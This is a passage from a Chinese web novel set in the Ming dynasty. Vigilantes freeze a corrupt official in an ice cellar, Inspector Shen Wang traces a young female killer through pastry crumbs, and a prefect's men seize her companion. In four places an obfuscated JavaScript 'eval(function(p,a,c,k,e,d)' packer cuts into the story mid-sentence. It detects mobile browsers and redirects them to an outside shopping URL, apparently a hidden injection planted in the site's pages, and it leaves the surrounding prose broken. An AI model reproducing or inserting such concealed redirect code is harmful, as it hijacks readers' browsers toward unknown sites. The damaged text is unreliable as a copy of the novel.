“寻常人站上这么一时片刻便受不住了，卫大人却还能声音洪亮，响彻天际，实在是佩服佩服。”一声轻笑在冰窖的角落中响起，四个人影缓缓踱了出来。 卫光赶紧眯起眼睛，循声望去。只见有两男两女正朝他走来，为首的女子冷冷瞧着他，眸中寒光毕现。她身侧的男子倒是笑得天朗气清，眉眼弯弯，如同林中狡狐。 “你们是何人！还不赶快将本大人放了，否则——”他咬牙切齿到一半，突然意识到此刻敌众我寡，敌暗我明，绝不是放狠话的时机，赶紧抿了抿唇，改换了腔调。“只要放了我，我定既往不咎，放你们一条生路。” “哈哈哈哈哈！”一连串银铃般的笑声从少女的口中蹦了出来，她一边笑，一边乐不可支地拍手，“你们听见了吗，他还想放了我们！？”那灿烂的笑意骤然而止，少女狭长的眼尾一挑，黑黢黢的眸子直直地盯着他，讥讽道，“那可要谢谢你的好意了卫大人——只可惜，我们并不想放了你。” 卫光慌乱地搓动着光裸的双足，在脑海中不断回忆自己究竟是何时招惹了这帮人。今夜，他本该出现在城南的乱葬岗，以南菀之事威胁霍子谦，继而动摇沈忘的根基。可不知为何，两眼一花，再醒来，便是被这帮贼人虏到了这里。 “你……你们到底想要什么？金银？官职？我卫家在京城根基百年，父亲是都察院左都御史，只要你们放了我，要多少银子我都能给，哪怕是……是让我父亲保你们个五品前程，也并非不可！”他急得额头冒汗，满嘴胡诹，竟是连卖官鬻爵的大帽子都扣到了自己亲爹的头上。 “左都御史？”始终沉默不语的晏回终于开口了，“卫大人倒是惯会用家世压人。只可惜，我们要的，从来不是你卫家能给的东西。” 卫光急欲开口，却不料又被晏回悠悠打断：“卫大人，你可知为何冻死之人皆面带笑意？” 卫光不由得怔住了。 晏回缓缓踱步向前，近到卫光能看清女子侧脸反射烛火的光泽，如同珍珠背光的一面。 “《黄帝内经》有云，心为神之居、血之主、脉之宗，因此寒邪侵体时，血脉收引，如百川归海聚于心脉，护此君主清明，故冻者初觉寒彻骨，神识反倒格外清醒。” 她话锋一转，眸中寒色更甚：“然而，寒极则心脉难承，如堤坝溃决，将血液冲入四肢百骸。此时的四肢久承寒气，骤得热血反而呈现出虚阳外浮之象。就如同回光返照一般，即将冻毙之人遂生幻象，只觉四体皆暖，心神迷醉，面上自然露出笑意。” 卫光的牙齿开始打颤，他忽然觉得心口处竟真有一丝微弱的暖意升起，与四肢的酷寒格格不入，像是冻僵的手指突然凑近了炭火。 “你……你放了我吧，你对我说这些作甚啊……” “是为了让你记起你曾经犯下的罪行啊——”一旁的范凌舟悠悠道。 “罪……罪行……”卫光心猛地一沉，后颈的寒毛全竖了起来。他强作镇定，眼珠乱转：“我……我不懂你在说什么！我卫光自问行事磊落，从未与人结下如此深仇！”话一出口，他自己都觉得心虚，又声音发飘的补充道，“若说真有什么得罪之处，大约是……是儿时不懂事，父亲为我出气杖杀了几个乞丐？可那都是些流民无赖，死不足惜！我愿意……愿意给他们立碑烧纸，补偿便是！” “死到临头，还再嘴硬！”楚庸气不过，恨声斥道。 晏回却不恼，只是冷涔涔地笑了：“卫大人的记性，倒真是好得很。只记得三岁时的‘小事’，却忘了你任山东布政使司理问所理问的数年间，是如何‘行事磊落’的！？” 随着晏回的话语，范凌舟从怀中掏出一本小册子，随意翻开一页，读道：“青州府生员李默，不过因乡试卷上写了句‘赋役繁重，民有菜色’，你便借乡闱磨勘之机，将其卷中语句摘出，罗织成‘妄议朝政’之罪，生生打断了他两条腿，害其妻女无依无靠，无钱生火，冻毙于破庙；济南府布商张万石，因不肯依你之意‘借’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184844|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银五千两，你便唆使无赖诬告他欠银不还，将其锁拿至理问所。其母日日来所外哭求，你命人将她赶走，寒冬腊月里，老人家在衙门外跪了三日，冻饿交加，一命呜呼……” 范凌舟语气乍听上去轻佻，可声调却是冷意森然，一字一句，念得卫光不敢直视。范凌舟晃了晃手中的小册子，挑眉道：“只是随意翻了翻，便桩桩件件害人性命，时时处处恶贯满盈，卫大人，您倒是磊落得紧呐！” 卫光脸色惨白，冷汗顺着额角滑落，在下巴尖凝成冰珠。若不是今日范凌舟当面驳斥，他似乎真的忘了那些卷宗上的名字、哭嚎的面容、染血的供词…… “你……你们到底是什么人？”卫光的声音颤巍巍的，如同耄耋老人，“这些案子都是……都是按律办理，是上面的……”他猛地意识到自己说漏了嘴，慌忙住口，却见晏回嘴角勾起一抹冷笑，吐出两个字：“鹰巢。” 卫光像被雷劈中一般，浑身剧烈地颤抖起来，连带着悬在他心口的冰锥都晃了晃，尖端几乎要刺入皮肉。“你……你说什么？！” “我说——”晏回静静凝着她，狭长的睫毛上似有寒霜，随着其上下扇动莹然发亮，“——我要你们，要鹰巢，要蜮公以命抵命，血债血偿。” 卫光的面容有了一瞬间的僵硬，下一秒，他的五官扭曲起来，挤出一个疯狂而决绝的笑：“疯了！你们都疯了！就凭你们几个鸡鸣狗盗之辈，就敢妄议鹰巢！？简直是蚍蜉撼树！”卫光突然歇斯底里地尖叫起来，脸上血色尽失，“终有一日，你们会为今日的狂妄，付出代价！” “哦？”晏回冷漠地看着卫光最后的挣扎，一字一顿道：“那我拭目以待。” 言毕，她再未看卫光一眼，转身便向冰窖深处走去，仿佛将一团雾气抛在身后。范凌舟指尖在封面上轻轻一弹，那册子便“啪”地合拢，冲卫光咧嘴一笑：“那卫大人，咱们就后会无期了。” 一旁的唐珠儿颇为不满，鼓着腮，嘴巴里鼓鼓囊囊地咀嚼着什么：“都多余和他废话——”片刻，她似乎想起了什么，笑意盎然地回转过头，对卫光甜甜道：“差点儿忘了告诉你，这冰窖啊在大明湖底，是储藏祭祀用冰的，只有一个耳聋眼瞎的老爷爷守着窖门，你便是喊破喉咙也不会有人来救你的哦！” 她嬉笑着转过身，轻轻拍打了数下双手，乌黑的发辫在空中滑过一道优美的弧度，追着前面三人的背影去了。 恼恨的眼泪涌上眼眶，卫光发出嘶哑地呼喊：“不——别走——” 别走…… 烛火越来越暗，空荡荡的冰窖入口，只剩一片浓得化不开的黑暗，像一张择人而噬的巨口。心口那丝诡异的暖意还在蔓延，四肢却越来越麻，越来越灼烫，似乎体内有一团火即将喷薄而出。面皮微微扯动，卫光的脸上浮现出迷惘的笑意，同那些冻毙在大雪中的人一模一样。 45. 不秋草（十） 长生观后山的石室中，众人团团围坐，石桌之上放着一个鼓鼓囊囊的包裹。 此时，卫光已经化为一具冰冷的尸体，脸上还带着永不餍足的笑意，而他妄图威胁沈忘的包裹，则被长生观众人带回。 石室中烛火摇曳，唐珠儿率先探出手，兴致盎然道：“搜搜看，这狗官身上有什么值钱玩意儿！” 手腕被凌空探来的两指按住，晏回淡淡道：“先查文书。” 唐珠儿吐了吐舌头，老实缩回手，任由晏回双指碾断绳结，打开了包裹。 包裹中的物什瞬时呈现在众人面前：几锭沉甸甸的银子、一枚刻着“卫”字的玉佩，还有一摞用麻绳捆扎好的卷宗。 范凌舟眸光一亮，当先用拂尘柄将银子和玉佩拨到一旁，献宝一般将卷宗递到晏回眼前。 唐珠儿对范凌舟的行为颇为不屑，生气地一皱鼻子，以迅雷不及掩耳之势将银锭子揽到了自己怀里。她素以妙手空空著称，范凌舟自然抢她不过，只能讪讪地收起玉佩，小声嘟囔了句：“瞧你那出息。” “哼！”唐珠儿不甘示弱地大哼了一声，喷出一个亮闪闪的鼻涕泡。 范凌舟以手指之，放声大笑。楚庸则忙着寻帕子，递给恼恨得满脸通红的唐珠儿。晏回没有在意身旁的热闹，目光死死钉在那叠卷宗上。 那麻绳缠绕得极紧，末端系着一枚小小的鹰首铜扣，与裘县令书房暗格里的密信印记如出一辙。她指尖发力，铜扣“啪”地断裂，卷宗散开，露出最上面一本的封皮——历城县令沈忘——隆庆四年卷宗。 “沈忘？”唐珠儿凑过来看得真切，顿时咋舌，“这不就是那个谁……长得挺漂亮的那个？我还看过他的话本子呢！” 楚庸闻言有些惊讶，没想到平日里爱好追鸡撵狗，吃肉喝酒的小班主竟也是个爱书之人。唐珠儿触见楚庸敬而又佩的眼神，赶紧摆了摆手：“别误会，主要是看画儿。文画师再版的，画得可好了！” 晏回没有搭腔，缓缓翻开卷宗，指尖抚过泛黄的纸页，开篇便是一桩旧案的名录：隆庆四年，济南府历城县花市街，状师殷择善被焚案。 “死者殷择善，本府讼师。隆庆四年春，宅中失火，焚于正堂。讼师殷择善夜宴妻兄南铮，其妻南菀入后厨添酒，堂内忽起争执。南铮怒而掀翻酒坛，酒液泼地，后负气而去；殷择善欲起身，无意间碰倒灯盏，酒液引燃油火，火势蔓延。南菀施救未果，仅救出后堂公爹，殷择善焚亡。邻居杨五六、黄四娘、子衿可为证。时任县令沈忘审毕，判‘意外失火，非人力所能及’，释南铮、南菀二人，未予追责。” “听上去——没什么问题啊！”唐珠儿一边说，一边将一颗剥好的栗子仁儿高高抛起，又准确无误地落到自己张开的嘴巴里。 一丝冷笑浮上晏回的嘴角，如同一只盘旋在空中，终于窥到猎物弱点的枭雀，下一瞬便会俯冲而下，直击要害。 “没什么问题……那位清名在外的沈按察自然希望所有人都认为他‘没什么问题’。可惜啊，夜路行多了终是会遇到鬼的，伪善之人又如何能伪善一辈子呢……”纤细的指尖顺着案宗上的字迹滑过，如清风拂柳，眸光里的冷峻却如大雪忽至。 “前年，这位名追海瑞的沈按察赴姑苏公干，归时携一女子，安置于府中别院。次年，这金屋藏娇的女子便嫁给了那位霍经历。如果我没记错的话，那名女子，正是案卷中的南菀！” “什么！？”这次连楚庸都没忍住，凑过去看卷宗。“沈大人带回来的女子，倒成了霍经历的妻室，这也……太巧了吧？” “何止是巧，这霍子谦是沈忘一手提拔的经历，从历城县衙名不经传的师爷，一路升到按察司的红人，对沈忘向来言听计从。”范凌舟早就按照晏回的要求对沈忘手下的人手进行了探查，说起来自然如数家珍，“这案卷中作证的黄四娘，也在沈忘的手下做事，而她成为官媒婆的年份恰恰就是隆庆四年。” “也就是说——”楚庸倒吸了一口冷气。 “也就是说，十三年前的意外失火，根本是沈忘精心编排的戏码！他用‘意外’结案换南氏兄妹活命，将他们藏起来，等风声过后，亲自去姑苏接回南菀，安插到自己最信任的霍子谦身边。”晏回的语气锋利如刀，字字诛心，“十三年前私放杀人凶手，十三年后用亲信掩盖真相，什么清名在外，这分明是披着狼皮的羊。” “啊——”唐珠儿闻言大放悲声，“话本都是骗我的！漂亮小人儿坏透了！” 范凌舟也长叹一口气，颇有些惋惜之意：“这般说来，这沈按察想必也是鹰巢中人了。可是……这卫光为何会随身携带多年前的卷宗呢？他想要做什么？” “也许，这就是鹰巢拿捏沈忘的工具；亦或者，这是蜮公向沈忘示好的诚意……”晏回缓缓抬眼，眉目里藏着讥讽的笑意，就仿佛她已经等待这位沈按察摔下清官的神坛许久了。“这世道，若真有清官，又何须我们长生观呢……” * * * 寒气如针，刺得人鼻腔发酸，沈忘蹲在地上由下至上观察着面前的尸身。卫光的脖颈无力地歪向一侧，脸上凝固着诡异的笑，数十根菱形冰锥在他周身组成囚笼，而他向前趴伏着，靠近心口的冰锥锥尖微微歪斜，如同死者脸上诡谲的笑。 一旁的柳七正站在梯子上，小心翼翼地处理着尸体。卫光的尸身已经冻如玄铁，若想从冰锥的包围下取出，不是损毁尸身就是破坏现场，所以，柳七只能以一种艰难的姿势完成这次初检。 她带着薄如蝉翼的羊肠手套，细致地检查着尸体周身，口中清晰地喝报着：“尸身僵硬如铁，眼瞳浑浊，尸斑呈樱桃色，应是冻毙无疑。指缝干净，并无搏斗挣扎之迹。冰锥虽对准要害，却未刺入皮肉。” 柳七凝着正对卫光心口的冰锥，以银镊子轻轻敲击：“心口处的锥尖有过短暂的融化，可随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184845|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着时间的推移，这处锥尖便又一次受冷凝固。” 接着柳七又指向卫光的手腕，道：“这里有勒痕，很浅，像是被软布捆过。” 沈忘一边听一边频频点头，手中狼毫笔不停，将柳七所说的内容皆录入尸格之中。 此次验尸，沈忘和柳七并没有让饱受磋磨的霍子谦陪同，可怜的霍经历在乱葬岗吹了一晚上邪风，一回家便发起了高烧，昏睡过去。沈忘深知好友的脾性，若是让他知道自己要来官窖验尸，便是爬也会爬过来。是以，他与柳七没有通知衙门里的任何一人，独自来到大明湖下的官窖进行初验。 见柳七正作势要将羊肠手套从指尖褪下，沈忘赶紧将怀里揣着的手炉递给柳七，看着她将冻得通红的指尖附在炉壁上，方才开口分析道：“从现场判断，凶手先将卫光捆住，再布置冰锥。卫光醒来时发现自己被困，挣扎间弄断了绳索，却不敢乱动——冰锥的位置太精准，稍一偏移就会被刺穿。” “《长阿含经》有云：八寒地狱之三，名‘阿吒吒狱’，寒风吹身，皮肉冻裂，唯发‘吒吒’之声。这些冰锥虽对准要害，却未刺入皮肉，说明这些凶手压根没有准备以冰锥杀人，而是模仿佛经中地狱之刑，要让卫光在绝望中冻毙，正是地府判官们的手笔。” “而心口处融化的锥尖以及卫光趴伏的姿势，说明卫光在绝望之中妄图用体温融化冰锥，给自己创造出逃脱的空间。可惜啊，他小觑了这些寒冰的威力，只融化了丁点儿锥尖便命丧当场。” 沈忘看了看卫光凝固在苍白面庞上的诡异笑容，摇了摇头：“螳螂捕蝉，黄雀在后。这卫光想要借南菀之事威胁我，如今，自己却成了那些地府判官的冰下亡魂，可笑亦可叹。” “可是……这卫理问为何要如此？”柳七问道。 “裘县令、孙同知、卫理问……这些人本就是一条暗线，或者说，他们更像数组圆环，拱卫着最中间的那个圆心。虽然目前，我还不能猜度出位于圆心的究竟是谁，可是他们着力想要隐藏的事实，以及圆环上的其他人员，已经隐隐呼之欲出。” 沈忘站起身，长叹一口气：“说来也怪，明明是这些地府判官们以残忍手段夺人性命，可我对他们的痛恨却远远不如对裘县令、孙同知和卫理问这些官场蠹虫。若是我大明官场清澈如水，又如何会有这些地府判官生存的土壤呢……” 柳七回头，只见自己的夫君正静静立在烛火笼罩的光晕之中，他背负着双手，目光久久凝在泛蓝的冰面之上。 柳七心头不由一酸，她还记得初遇之时，少年紧蹙的眉头和今时今日的他一模一样。突然，光晕中的沈忘身子一颤，一连串压抑不住的咳嗽声便从他妄图遮挡的五指间喷涌而出。他咳得剧烈，压得身子都弯了下去。 柳七疾步上前，想要扶住如玉山倾颓的沈忘，可是下一瞬，脚下突然传来微妙的触感。 “咔嚓——”什么东西碎了…… 46. 不秋草（十一） 沈忘的咳嗽声骤然哑在喉咙里，他半弯着腰，手背死死抵着唇，另一只手却猛地抬起，朝柳七的方向虚按。他并非制止妻子的搀扶，而是指向她脚下那片泛着微光的冰面。 “别动……”他的声音被咳得支离破碎，却带着不容置疑的急切，“脚下……有东西。” 柳七猛地顿住，借着烛火低头看去。只见她的鞋底黏着一小片碎得不成形的焦黄色残渣，边缘还带着细密的裂纹，如同一小块黄澄澄的琉璃瓦。 沈忘咳得眼前发黑，却强撑着直起身，一步一缓地挪到柳七脚边。他蹲下身，轻轻捻起那碎屑，那碎屑被冻得硬邦邦的，却依稀能看出蜷曲的螺旋状轮廓。放在鼻尖细嗅，一股若有若无的葱油香混着芝麻的焦香，穿过官窖的寒气钻进鼻腔。那香气并不浓郁，却偏生夹杂着济南府独有的烟火气，让人印象深刻。 “是油旋儿。”沈忘的声音终于稳了些。 “济南府的油旋儿，现做的才这样酥脆，放半个时辰就软塌了。这碎块边缘还带着焦脆，说明……”他顿了顿，目光扫过卫光冻僵的尸身，“说明留下油旋儿残渣之人，案发时就在现场。” 柳七一怔，惊道：“无忧，你是说，冻毙卫光之人，刚离开没有多久，而且……还在杀人现场吃着油旋儿！” “不只是‘吃’。”沈忘摇了摇头，弯着身子绕着卫光的尸身转了数圈，长着烛火细瞧，“停云，你看这碎块的分布。从冰锥囚笼的边缘，到卫光尸身左侧三步远，零零散散撒了四处，最大的一块有指甲盖大，最小的只剩半粒芝麻。不像是不小心掉落，倒像是……”他话锋一转，嘴角微微上扬，语气却是冷得紧，“倒像是有人叼着个油旋儿，一边绕着冰锥走，一边小口小口地啃，走几步掉几粒渣，优哉游哉得很。” 他直起身，目光重新落回卫光脸上那诡异的笑，突然觉得那笑容和地上的油旋儿残渣，竟有了某种荒诞的呼应。 “济南府的油旋儿讲究现做现吃，面坯需经三次醒发，炭火温度更是分毫不能差，如此才能烤出层层酥脆、葱香四溢的佳品。而凶手吃的油旋儿——只怕是芙蓉街上的王家铺子方能烤制的水平。” 柳七瞠目，她对口腹之欲一向冷淡，并不如沈忘那般对各地美食如数家珍。可即便如此，她也对那芙蓉街上的王家铺子印象深刻。每次公干路过之时，那王家铺子外皆排满了食客，风雨无阻，可见其生意之火爆。 在动用私刑要人性命之前，还不惜排长队购买几个新出炉的油旋儿，这是何等…… “何等残忍，却又俏皮——”沈忘如同听到了柳七内心的独白，接口道：“其一，这冰锥囚笼的菱形锥尖间距恰好三寸，角度倾斜分毫不差，既不会立刻刺破皮肉，又能让卫光稍动便感受到锥尖抵喉的寒意。这般精细的计算，需得俯身丈量、反复调整，因此凶手定是个身形纤细之人，且手脚极稳。” “其二，”沈忘指向卫光手腕那道浅淡的勒痕，“停云你看这勒痕边缘平整，没有挣扎造成的撕裂，倒像是用软布沾水拧成绳，趁卫光昏迷时快速捆缚——这手法更像女子做针线活，讲究快、准、勒而不伤，因此凶手极有可能是一位女性。” “其三，济南府的油旋儿分新老两派，老派重油重盐，是挑夫走卒的最爱；新派油盐量减，却加了章丘细叶葱和黄河白芝麻，酥脆不腻，是近年才在芙蓉街王家铺子兴起的做法，专讨年轻姑娘喜欢。能在杀人之前排队买油旋儿，又能在杀人时保持这份‘闲情逸致’，此女年纪绝不会超过二十。” “其四，寻常人杀人后要么仓皇逃窜，要么仔细清理现场，可她偏不。她绕着冰锥踱步，小口啃着油旋儿，像是在欣赏自己的作品，因此此女不仅贪食爱玩，不怕血腥，更是觉得杀人是场游戏，所以才会在游戏结束后，像寻常姑娘家逛街吃点心一样，啃着油旋儿离开……” “也就是说，地府判官中定有这样一位年轻、贪食、爱玩、残忍的女子。”柳七低声道。 烛火在冰面上摇曳，将沈忘的影子拉得很长，而他脑海里那个少女的形象，也渐地生出了眉眼，化出了血肉——狡黠，灵动，年纪极轻，瘦小，爱笑，多话。双鬟垂肩，圆脸，眼尾微微上挑，手脚比寻常人更为细长伶仃，动作极快，笑起来灿若春华…… “停云，我们有方向了。” * * * 石门在身后缓缓闭合，济南知府孟威佝偻着身子，兜帽几乎垂到地面。这些日子，他最疼爱的幺儿娶亲，取得还是户部侍郎的千金，本该是欢天喜地的幸事。可偏偏碰上那神龙见首不见尾的“地府判官”，接二连三地取了鹰巢中人的性命。他上要承担堂上之人的怒火，中要应对沈忘无孔不入的探查，下要平息百姓的悠悠众口，实在是焦头烂额。大操大办的婚事，也因正三品的沈按察以公事缺席而骤然失色。 急火攻心，孟威口里接连长了四个大燎泡，口水都咽不下去，砸吧一下嘴都疼得钻心。可惜，堂上之人却不在意孟威心中所想，冷冷地开了口：“裘三、孙四皆殒，卫氏亦折在官窖之中，五张椅子又空了两张，孟大人，你说这位置该谁来填？” 孟威一个激灵，赶紧道：“卑职……卑职已按大人吩咐，将修改好的账目混入黄册之中，也暗中差人将沈忘误判一事散布出去，朝廷之中卑职……卑职也闹出了点儿响动，想必不出几日，弹劾沈忘的折子就该呈上去了，还请大人稍…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184846|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍待。” “稍待！？待到何时！待到你我二人皆命丧地府判官之手吗！” 堂上之人厉声一喝，孟威就觉得后腰处又开始隐隐作痛。他后退了半步，不动声色地缩到自认为安全的距离，方开口道：“大人，那地府判官虽是手段酷烈，可卑职观之，他们倒是只敢暗地行事，挑官吏独行之时下手，只要用心防备，应暂无大碍。可是，那沈忘行事虽如水和缓，却静水流深，绵延不断。若是让他寻到鹰巢的旁枝末节，只怕会一门心思查到底，对我们百害而无一利。所以，卑职以为……” “卑职以为还是应先着力对付沈忘才是。” 孟威话音刚落，左侧黑袍人已上前半步，兜帽下的下颌线绷得笔直，似是将脑袋高高扬起，颇为不屑道：“孟大人此言未免偏颇。对付沈忘是无疑，可地府判官接连折我鹰巢三员大将，若再放任不管，难不成要等他们摸到这密室门口，您才肯用心防备吗？” 孟威心中暗骂，身旁这厮惯会落井下石，此刻倒又让他寻到了机会，像只巴儿狗般舔脸上来，这是要踩着自己往上爬呢！他脸色一沉，正欲反驳，却见那人从怀中掏出一卷绢帛，呈了上去。 “大人，依我看，左手抓鬼，右手除狼，两边都得出手才是。更何况，沈忘那边已已然有了动静——据暗线回报，沈忘让画工绘制了一幅小像，据说和那地府判官中的一人能够九成九的相似。” “哦！”主位上的身影终于动了，画轴转动，绢帛应声展开。“咝——竟是个身量未足的小丫头！？消息可准确？” “大人宽心，分毫不差。” “嗯——”堂上之人满意地哼了一声，眸光若有似无地在孟威躬着的后背上一剜。就这一眼，似是给了那黑袍人鼓励，却听那黑袍人道：“手中要有实据，方才敢放言。哪像孟大人，连对手长什么样都不知道，还敢说什么着力对付沈忘？” 孟威咬碎银牙，却听主位上的声音骤然转冷：“够了。”黑袍人立刻收了势头，躬身退回阴影，只是嘴角那抹嘲讽的笑意未散。 “沈忘要查，就让他查个彻底。”主位上的人影冷笑道，“孟知府，你带三百衙役，拿着这画像去芙蓉街，告诉百姓这是沈按察亲自断的地府判官，挨家挨户搜，见着画像上的丫头就抓，敢有不从的就打，闹得声势愈大愈好。” “让全济南府都知道，是他沈忘要抓这个丫头。我倒要看看，沈按察的雷霆之怒，那些地府判官们如何接招。” 孟威咬牙直起身，接过那卷卷轴。画像上的少女杏眼圆脸，眼尾微扬，笑容天真烂漫，如同邻家少女，寻不出丝毫同命案相关联的血腥气。 “卑职遵命。”孟威道。 47. 不秋草（十二） 油旋儿在鏊子上“滋滋”冒着油花，芝麻的焦香随着烟气上浮，萦绕在每一个行人的鼻端。这香气似乎有着独特的魔力，总有饥肠辘辘的早行人被这香味儿勾着，转换了方向，直奔王家铺子而去。 王家铺子的前面已经排了长长的队伍，所有人都望眼欲穿地盯着掌柜上下翻动的竹筷。掌柜王老汉笑容可掬，脸上的褶皱亦显得更深了些。 青杳站在队伍的最前排，有一搭没一搭得同王老汉聊着天。 “丫头，你家小姐今儿怎么没跟你来？”相较于面前这位温柔稳重，面带怅然的女子，他倒是更喜欢那个梳着双环髻，说起话来叽叽喳喳像只小家雀般地小丫头。他不知道那小丫头的名姓，只知道她爱极了自家的油旋儿，几乎天天都来买。 青杳看了一眼雾蒙蒙的天色，轻笑道：“今儿太早了些，让她多睡会儿。” 这些日子，唐珠儿早出晚归，总是不见人。今日她难得能睡个懒觉，青杳便也没叫她，由她睡到日上三竿。想到女孩儿圆鼓鼓的侧脸，如同合拢的蝶翼般狭长的睫毛，还有那微微皱起的鼻尖，青杳不由得心头一暖，笑出声来。 王老汉见这姑娘笑得好看，又欲再聊上几句，甫一张口，就见一阵烟尘伴着飒踏的马蹄声直奔芙蓉街而来。一群穿皂衣的衙役凶神恶煞地扑了过来，为首一人王老汉识得，正是孟威孟知府家的赵纳福。 王老汉本还想着看热闹，却不料那帮衙役直冲自己的铺子而来，唬得他连连后退，油旋儿也不敢翻了，竹筷子丢在一边，不多时腾起一股糊味儿。 “奉沈按察钧旨，缉拿地府判官党羽！”赵纳福大声道，身后的衙役随之齐声应和，声遏行云。领头的捕头从怀中掏出一卷麻纸火票，“啪”地拍在案板上，冲着王老汉厉声喝道：“睁大眼睛瞧瞧，这丫头可来过你的铺子？” 王老汉唬得直咽口水，小心翼翼抻长了脖子往火票上一瞧，眼睛立马瞪圆了。这火票上画着的，不就是那日日来买油旋儿的小丫头吗！ “这……这……”他心思急转，脑海中滑过无数猜想，下一瞬已被赵纳福一脚踹在膝弯，“噗通”跪在鏊子边，滚烫的油星子溅在他手背上，疼得他龇牙咧嘴。 “照实说！”赵纳福冷冷道。 “我……我也不确定，就是……就是有点儿像……也不是很像……”王老汉哆哆嗦嗦地咕哝着，眼睛下意识地往杳娘身上瞅。 甫一见着官差，杳娘就预感不妙。她起了警惕心，趁着官差将注意力都放在王老汉身上之时，悄无声息地向着队伍的后方挪去。可惜，她的动作还是慢了一步。 在赵纳福的指使下，两名步快快步上前，左手持铁尺，右手抖开铁链，拦在她的眼前。 赵纳福瞟了一眼画像，又在青杳的脸上扫量了数眼：“你识得她？” “我不识得。”青杳冷静道。 赵纳福咧嘴一笑，抽出腰刀，狠狠砍在王老汉眼前的菜板上，离王老汉颤抖的指尖不过寸许。王老汉嗷地一嗓子，无助地哭了起来。 “你说，她识不识得！” “她……她呜呜呜……她可能……应该……也许……呜呜呜呜，官爷饶命啊！”王老汉放声大哭。 赵纳福从鼻尖喷出一声冷嗤，命令道：“给我拘了，她定然识得！” * * * “哎呀！”唐珠儿把扎疼了的指尖放进嘴里含着，背后探出一张白生生的脸，好奇地巴望了两眼。 “你这是绣什么呀？”范凌舟问道，“走地鸡？” 唐珠儿的两个眼珠差点儿瞪出来：“臭牛鼻子，你的眼睛什么时候瞎的！走地鸡！？这……这是鸳鸯！” 这次，换作范凌舟目眦欲裂，他指着绷紧的布面上两只胖嘟嘟的鸳鸯，放声大笑：“你莫要诓我！这四爪肥硕，蠢笨呆滞的东西不是鸡是什么？还鸳鸯，你怎么不说我是秦始皇！” “就是鸳鸯，就是鸳鸯！”唐珠儿把案几敲得邦邦响，“这是杳娘教我的鸳鸯戏水图，我要绣来给晏回姊姊的！” 范凌舟笑得直打跌：“我的小姑奶奶，你可饶了西楼吧！拿你这走地鸡的布面做什么？做鞋垫平地摔跤，做被套白日梦鬼，做绢帕喝水塞牙，你这是要害她啊！” “我杀了你这个碎嘴子！”唐珠儿绣鞋在案几上一蹬，奔着范凌舟就扑了过去。范凌舟一边嬉笑着躲避，一边嘴里依旧不停：“宁鸣而死，不默而生！这天下还不允人说真话了吗！” 唐珠儿只顾追打，冷不防撞在一个硬邦邦的身体上，那人才从屋外进来，身上还带着秋日冷冽的寒气。 “楚庸，帮我抓这个牛鼻子！”唐珠儿大叫。 回应她的是楚庸急促的喘息：“珠儿姑娘，无鱼兄，不好了，青杳……青杳姑娘被知府衙门拘了！” 两个追打不停的身影倏地定住，唐珠儿怔愣道：“你听错了吧？为什么要抓杳娘？杳娘买油旋儿没给钱吗？” “我听那王家铺子的掌柜说，那沈按察画了珠儿姑娘的画像，在芙蓉街一带大肆搜捕，但凡同画像有些相似的姑娘家，都一概拘了去。而杳娘是因为……是因为时常与你一道买油旋儿，才被捕的……” “怕是……想要从杳娘嘴里逼问出观中之事……” 楚庸的声音愈来愈低，到最后几乎听不真切了。 自古以来，女子入囚便难得清白，往往生不如死。大明律虽明文规定严禁奸////淫/////女囚，但说到底也只是一纸空文。今日青杳收监，便是无罪只怕也要扒一层皮去，更何况她同长生观有着千丝万缕的联系，根本无法全身而退。若那些人面兽心的狱卒以身家清白相要挟，手无寸铁的青杳又该怎么办？ “这帮畜生……”楚庸只听唐珠儿牙齿咬得咯咯响，下一瞬，少女便向离弦的箭一般冲向门口。 “珠儿。”身后，晏回冷静的声音追至，让唐珠儿生生止住了脚步。 她上前一步，按住了对方颤抖的手腕。她性子稳重，自是不会像唐珠儿那般毫无顾忌，提刀便上。为何那沈忘能画出珠儿的画像，为何他能神不知鬼不觉摸到王家铺子，又能正好将青杳扣下，他又是如何知道青杳是观中一员的呢？要么，就是观中出了内鬼，出卖了诸人；要么，就是那沈忘的确有几分本事，能从他们忽视的千丝万缕中提炼出直指目标的线索。 关于前者，晏回对观中人员有绝对的把握，自是不信观中会出现内鬼。 可若真是后者，那沈忘的确是不容忽视的可怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 